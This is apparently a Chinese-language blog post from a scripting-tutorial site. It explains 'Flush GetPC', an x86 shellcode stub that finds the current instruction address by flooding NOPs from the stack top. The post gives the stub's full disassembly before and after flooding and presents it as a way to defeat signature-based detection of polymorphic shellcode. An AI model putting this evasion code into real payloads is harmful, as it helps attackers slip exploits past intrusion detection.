欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

一种反检测的Shellcode GetPC方法Flush GetPC

一种反检测的Shellcode GetPC方法Flush GetPC

Flush GetPC是我们提出的一种新的获取当前指令地址的方法。相比FSTENV和SEH方法,Flush GetPC最主要的特点就是可以避免出现指定特征码。到此为止多态Shellcode中的GetPC、Decoder和Encoded三个部分均能实现特征码的避免,从而导致了特征匹配检测方法在面对新型多态shellcode时彻底失效。
Flush GetPC的原理是利用堆栈栈顶位于Shellcode位置之上(内存低地址)的特点,从栈顶ESP开始向下泛洪,不断写入NOP,并同时调整ESI记录当前泛洪位置,最后Flush GetPC泛洪至自身,结束循环而往下执行。最后ESI为mov byte ptr ds:[esi],0x90指令地址。下图显示了泛洪前后的Flush GetPC代码,泛洪至XOR EAX,EAX后,两条指令被类NOP指令取代(对DH进行ROL操作对Flush GetPC没有影响),继而JE跳转失败而结束循环。
泛洪前:
00012481      8BF4            mov esi,esp
00012483      33C0            xor eax,eax
00012485      C606 90         mov byte ptr ds:[esi],0x90
00012488      46              inc esi
00012489      40              inc eax
0001248A      83F8 01         cmp eax,0x1
0001248D      74 F4           je Test.00012483
泛洪后:
00012481      8BF4            mov esi,esp
00012483      90              nop
00012484      C0C6 06         rol dh,0x6
00012487      90              nop
00012488      46              inc esi
00012489      40              inc eax
0001248A      83F8 01         cmp eax,0x1
0001248D      74 F4           je Test.00012483
Flush GetPC总长14字节,中间没有出现字符串结尾符0x00。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功